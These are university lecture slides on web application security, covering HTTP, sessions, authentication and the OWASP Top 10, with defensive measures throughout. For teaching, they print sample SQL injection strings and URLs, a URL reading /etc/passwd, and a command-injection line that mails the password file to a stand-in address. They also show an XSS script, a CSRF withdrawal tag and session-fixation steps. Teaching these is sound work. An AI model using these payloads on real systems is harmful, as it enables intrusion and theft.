1

ISEC0511Programming for Information

System Security

Lecture Notes #4Security in Web Applications

Web Application Basics Web applications generally use

following communication protocols. Hypertext Transfer Protocol (HTTP) HTTP Secured (HTTPS).

User interface could be Hypertext Markup Language (HTML) with JavaScript (JS) running on browsers.

Clients can be any kind of computing devices that can run a browser: PC, PDA, smart phone, etc.

2

Web Application Basics

On the server side, the server software can be: Web server. Serves static web contents, such as

HTML files, JavaScript files, images, etc. Application server. Serves dynamic web contents,

mostly programmed by JSP, PHP, ASP, ASP.Net . Applications developed to run on application

server is called “web application”, commonly called “webapp”.

Note that, in webapp, human interacts with the application. In web services, application interacts with applications.

3

Webapp vs. Web Services

Web application

Web services

4

Webapp

Webapp

Web Service

Web Service

Application Layers for Static Web

5

Web ServerWeb Server

HTML + JSHTML + JS

OS

BrowserBrowser

OS

HTML + JSHTML + JS

Application Layers for Webapp

6

Application ServerApplication Server

Web application(JSP, PHP, ASP)Web application(JSP, PHP, ASP)

OS

BrowserBrowser

OS

HTML + JSHTML + JS

Web Client Web Server

Protocol Stack for Webapp

Several network protocols are used in the protocol stack

7

TCPTCP

HTTPHTTP

IP

TCPTCP

HTTPHTTP

IP

HTTP Protocol

HTTP stands for Hypertext Transfer Protocol.

HTTP is the communication protocol used between a web browser and a web server

Main characteristics HTTP is connectionless. HTTP is media independent. HTTP is stateless.

8

HTTP Methods

Common HTTP methods (request) are: GET method: used to retrieve

information from the web server with specific URI (Universal Resource Identifier).

HEAD method: similar to GET, but used to get only the header part of the response.

9

/getdata.cgi?home=Mosby&favorite+flavor=flies

HTTP Methods

POST method: used to retrieved information from the web server, but request content is in the message body.

10

POST /path/script.cgi HTTP/1.0From: frog@jmarshall.comUser-Agent: HTTPTool/1.0Content-Type: application/x-www-form-urlencoded Content-Length: 32

home=Mosby&favorite+flavor=flies

URL Encoding If data contain special characters, they

must be encoded in the URL. Here are the list of reserved and non-

reserved characters. Other character must be percent-

encoded.

11

! * ' ( ) ; : @ & = + $ , / ? # [ ]%21 %2A %27 %28 %29 %3B %3A %40 %26 %3D %2B %24 %2C %2F %3F %23 %5B %5D

A B C D E F G H I J K L M N O P Q R S T U V W X Y Z

a b c d e f g h i j k l m n o p q r s t u v w x y z

0 1 2 3 4 5 6 7 8 9 - _ . ~

HTTP Cookies

HTTP cookies is a piece of text stored by a user's web browser.

12

Security Challenge on the Web

One major security challenge is that every browser allows the user to see the source code of the current page.

Source code contents include HTML and JavaScript.

This will allow an adversary to know field details and the type of validation or check being performed by the JavaScript.

Also, it’s not mandatory that HTTP request be submitted by a browser. Anyone or any tool that knows HTTP can submit a request.

13

Sessions

HTTP is fundamentally session-less. State information must be handled

by web applications Common mechanism to handle

session are: Hidden parameters

Browser cookies

14

http://forums.adobe.com/message/2011291;jsessionid=9519B628B1763FF2DAF437F7240EEC99.node0

Authentication Issues

Many resources are protected for a legitimate user through authentication on the web.

Users are authenticated before accessing protected resource.

For a web site, authentication can be done by a web server usually by configuration files.

For a web application, authentication is done by the application itself. The application sever only provides mechanism for manage session IDs.

15

Basic/Digest Authentication

When a particular resource within the realm is accessed by a user, the Web server sends a HTTP 401 response (authentication required header) with the response to the request.

A login dialog box pops up in the browser. Browser submits data again and

authenticated by the web server. Authentication data is sent along with

every HTTP request to the server.

16

Basic/Digest Authentication

In Basic authentication, the username and password are sent as cleartext (BASE64 encoded).

In Digest authentication, the password is hashed at the browser using the Message

MD5 algorithm is used and the hash value is sent to the server

17

Web Form Authentication

For a web application, the application server provides means to manage session ID between browser and app server.

When authentication succeeds, the application tags the session ID as authenticated.

The application remembers which session is already authenticated by looking at the session ID from the browser whether it has authentication tag.

18

Authentication Issues

There are security measures that should be taken when doing authentication: Use strong passwords. Do not store cleartext credentials in

configuration files. Do not pass cleartext credentials over the

network. Do not allow over-privileged accounts. Do not allow prolonged session lifetime. Allow personalization and caching of

authentication information.

19

Cryptography and Privacy

To preserve user’s privacy, it is necessary that the confidential and private information flowing through the Internet is encrypted.

This can be achieved through a virtual private network (VPN) or encryption.

The trade-off is that encryption generally put higher load on the server (and also the client).

20

Cryptography and Privacy

Measures: Use proven cryptography algorithms. Do not use custom-made algorithms. Do not use any key that is small. Ciphering key-exchange algorithms should be

robust; distribute keys in a secure manner. Secure the encryption keys; if the keys are

compromised the whole security system is compromised.

Change the key regularly so that the same key is not used for a prolonged period of time.

21

Configuration File Management

Configuration files usually contain important information. Thus, it should be protected from being accessed or modified.

For modern web application, there usually is a configuration file that contains username and password to connect to a database server.

Measures: Use secured administration interfaces. Store the configuration information in secured

stores.

22

Configuration File Management

Always delete sensitive data if a transaction is either successful or fails.

Avoid storing of configuration data in cleartext, especially security-related data.

Avoid many administrators and multiple administration interfaces.

Avoid sharing administrative account among administrators.

23

Session Management

In web applications we maintain sessions through state information, which always flow between client and server.

Session hijacking can be done if attacker can capture state information.

24

Client Server

Attacker

Session Management

Measures: Never pass session IDs over

unencrypted channels. Do not permit prolonged session

lifetime. Do not store session state in a unsafe

store, both client-side and server-side.

Avoid placing session IDs in query strings (URI).

25

Security Issues with Webapp Denial of Service attack Server information exposure Code injection SQL injection Parameter tampering File disclosure Command execution Buffer overflow Cross-site scripting (XSS) Cross-site Request Forgery (CSRF) Session Fixation Attack

26

Denial-of-Service Attack

DoS attack can be done at different points. Operating system running the web

application or web server Network stack attack, e.g. half-open TCP Bugs or vulnerabilities on the web

server or application server. Bugs or vulnerabilities on the web

application itself (fixed by secure coding and safe programming)

27

Server Information Exposure

Information exposed when an error or exception occurs on the server should be minimal.

The philosophy behind error message is the user should get sufficient information from the error message to correct the error and try the right steps.

28

Server Information Exposure

29

Code Injection

Common code injection attack in web applications is SQL injection.

The root of all code injection problems is that developers put too much trust in the users of applications.

It is also not mandatory that a user will always use a browser.

An attacker may use some homegrown browser that can be used to do all sorts of illegitimate things.

30

SQL Injection Attack

SQL injection attack is done by injecting special partial SQL command to be appended at the server side to get executed.

For example: program at the server side:

For normal circumstance, assume docid is “55072”, SQL becomes:

31

SQL = "SELECT docid, docname FROM documentlist WHERE docid = '" + docId + "'";

SELECT docid, docname FROM documentlist WHERE docid = ‘55072’

SQL Injection Attack

Many attacks target on the WHERE clause of the SQL.

Some basic on the WHERE clause: WHERE cusid = ‘john’ WHERE docid = 300 WHERE docname LIKE ‘%Oracle%’ WHERE type = ‘saving’ AND balance >

10000 WHERE ( type = ‘sales’ OR name LIKE ‘M%’ )

SQL comment symbol is "-- "

32

SQL Injection Attack

Now, let docid be

This makes SQL becomes

The results becoming from database server would return all documents in the database !!!

33

55072’ OR ‘1’ = ’1

SELECT docid, docname FROM documentlist WHERE docid = ‘55072’ OR ‘1’ = ‘1’

Common SQL Injection Tricks

‘ or 1=1-- “ or 1=1-- or 1=1-- ‘ or ‘a’=’a “ or “a”=”a ‘) or (‘a’=’a Like,

34

ok’ or 1=1-- ok” or 1=1-- ok or 1=1-- ok’ or ‘a’=’a ok” or “a”=”a ok’) or (‘a’=’a

Common SQL Injection Tricks

How about attacking the following SQL commands? To list all the users?

To always log in successfully?

To list all customers?

35

SQL = "SELECT * FROM user WHERE user = " + u + " AND pass = '" + p + "'";

SQL = "SELECT * FROM customer WHERE id = '" + u + "' or name like '" + p + "'";

SQL = "SELECT * FROM customer WHERE ( id = '" + u + "' or name like '" + p + "')";

SQL = "SELECT * FROM user WHERE user = " + u;

Code Injection through URL

In code injection through URL, special data are inserted to the URL to achieved “desired” effect.

The attacker must know how URL is encoded by the browser to send crafted data.

36

HTTP URL Encoding

Parameter starts after “?” Multiple parameters are joined by “&” Spaces are translated into “+” Special characters are translated into

%XX (hex number), for example Thai characters. (try searching for TIS-620 table from the web) % is translated into %25

For example

37

http://www.mycompany.com/list.jsp?type=customer&type=savinghttp://www.mycompany.com/detail.jsp?cusname=john+macquire

Code Injection through URL Example

For example, normal URL is

Command to create at the server is:

This would also list all the documents from the database.

38

http://www.mycom.com/manuals.jsp?docid=55072

http://www.mycom.com/manual.jsp?docid=55072’+OR+’1’=+’1

Command Injection in SQL Injection

In addition to manipulate SQL where clause, under some circumstances, you may be able to fully inject another SQL command.

For example:

39

http://www.mycom.com/manual.jsp?docid=55072'; insert+into+documentlist+values+('99999','hoho');--+

Parameter Tampering

Most web requests contain parameters from the client-side, which cannot be fully trust.

SQL injection is also done by manipulating request parameters.

In basic forms, parameter tampering may let attacker to change any parameters submitting to web server at will.

JavaScript validation at the client side does not work since the attacker may use any tools he/she likes.

Thus, validation on the client side is only for web browsing experience, not for security.

40

Parameter Tampering

Measures: Validate all input parameters at the server

side. Avoid storing sensitive data in unencrypted

cookies. Avoid storing sensitive data in query strings

and form fields. Never trust HTTP header information. Disable View Source on the browser and stop

the user from seeing the HTML source. Note that, this can only stop naive hackers, not experience ones.

41

File Disclosure

Generally, any files under web root directory can be accessed by using URL.

Do not put files that contain sensitive information under web root directory.

Attack URL can be:

Also, do not allow client side to specify file location that will be read by webapp.

Attack URL can be:

42

http://www.mycom.com/any/path/you/like/important.dat

http://www.mycom.com/openfile?file=data.txt

http://www.mycom.com/openfile?file=/etc/passwd

Command Execution

Avoid parameter from the URL to be appended to executed command on the server side.

OS-level command at the server side may be

However, you may get URL like:

You, in turn, run:43

http://my.com/openfile?file=data.txt

grep saving data.txt

http://my.com/openfile?file=data.txt;cat+/etc/passwd|mail+bad@bad.com

grep saving data.txt ; cat /etc/passwd | mail bad@bad.com

Buffer Overflow Attack

Buffer overflow attack can also be done by using web requests.

However, crafting a web request in order to get buffer attack to run specific command is not easy, but possible.

44

Cross-Site Scripting (XSS)

Cross-site scripting attack (XSS) is done by submitting commands (usually JavaScript) to vulnerable web site.

When a legitimate user browses into the web site, command flows from the server back to browser and gets executed by the user.

Damage depends on the victim’s privilege.

45

Attacker

VulnerableWeb Application

Victim User

1: submit crafted data

2: browse and run the submitted commands.

Cross-Site Scripting (XSS)

For example, instead of submitting forum message to the web application like this:

The attacker submits:

or

When a victim browses into the forum, the command flows from the server to the browser, and the browser of the victim pops up a new window to google !!

46

Hi, there

<script type="text/javascript">alert('hello. Got ya.');</script>

<script type="text/javascript">window.open('http://www.google.com');</script>

Cross-Site Scripting (XSS)

It’s advise for web application to escape following characters when feeding data back to browsers. < (&#40) > (&#41) # (&#35) “ (&#34) ‘ (&#39) & (&#38)

47

Cross-Site Request Forgery (CSRF)

In a more advanced setup, affected web server may be another web server that the victim user has authorized to access.

48

Attacker

VulnerableWeb Application

Victim User

1: submit crafted data

2: browse vulnerable web

page.

VictimWeb Application

3: run the submitted commands on

another application.

Cross-Site Request Forgery (CSRF)

Example

Victim must pre-authenticate to the target web site, or no authentication is required.

Target site must not check HTTP “Referer” header.

49

<img src="http://bank.example/withdraw?account=bob&amount=1000000&for=mallory">

Session Fixation Attack (1)

1. Mallory has determined that http://unsafe/ accepts any session identifier, accepts session identifiers from query strings and has no security validation, thus not secure.

2. Mallory sends Alice an e-mail: "Hey, check this out, there is a cool new account summary feature on our bank, http://unsafe/?SID=<Fixed SID>".

3. Alice is interested and visits http://unsafe/?SID=<Fix SID>. The usual log-on screen pops up, and Alice logs on.

4. Mallory visits http://unsafe/?SID=<Fixed SID> and now has unlimited access to Alice's account.

50

Session Fixation Attack (2)

Attack using server generated SID Mallory visits http://vulnerable/ and checks

which SID is returned. For example, the server may respond: Set-Cookie: SID=0D6441FEA4496C2.

Mallory is now able to send Alice an e-mail: "Check out this new cool feature on our bank, http://vulnerable/?SID=0D6441FEA4496C2."

Alice logs on, with fixated session identifier SID=0D6441FEA4496C2.

51

Session Fixation Attack (3)

Attacks using cross-subdomain cooking A web site www.example.com hands out

subdomains to untrusted third parties One such party, Mallory, who now controls

evil.example.com, lures Alice to her site A visit to evil.example.com sets a session cookie

with the domain .example.com on Alice's browser When Alice visits www.example.com, this cookie

will be sent with the request, as the specs for cookies states, and Alice will have the session specified by Mallory's cookie.

If Alice now logs on, Mallory can use her account.

52

Session Fixation Protections

Do not accept session identifiers from GET / POST variables.

Identity confirmation for important requests. Store session identifiers in HTTP cookies. Utilize SSL / TLS Session identifier. Accept only server generated SIDs. Logout function. Time-out old SIDs. Destroy session if referrer is suspicious. Check user agent.

53

OWASP Top-10 (2010)

Previous version is 2007. The OWASP Top 10 Web Application

Security Risks for 2010 are: A1: Injection A2: Cross-Site Scripting (XSS) A3: Broken Authentication and Session

Management A4: Insecure Direct Object References A5: Cross-Site Request Forgery (CSRF)

54

OWASP Top-10 (2010)

A6: Security Misconfiguration A7: Insecure Cryptographic Storage A8: Failure to Restrict URL Access A9: Insufficient Transport Layer Protection A10: Unvalidated Redirects and Forwards

55

Readings

Architecting Secure in Web-facing Application, Chapter 8.

56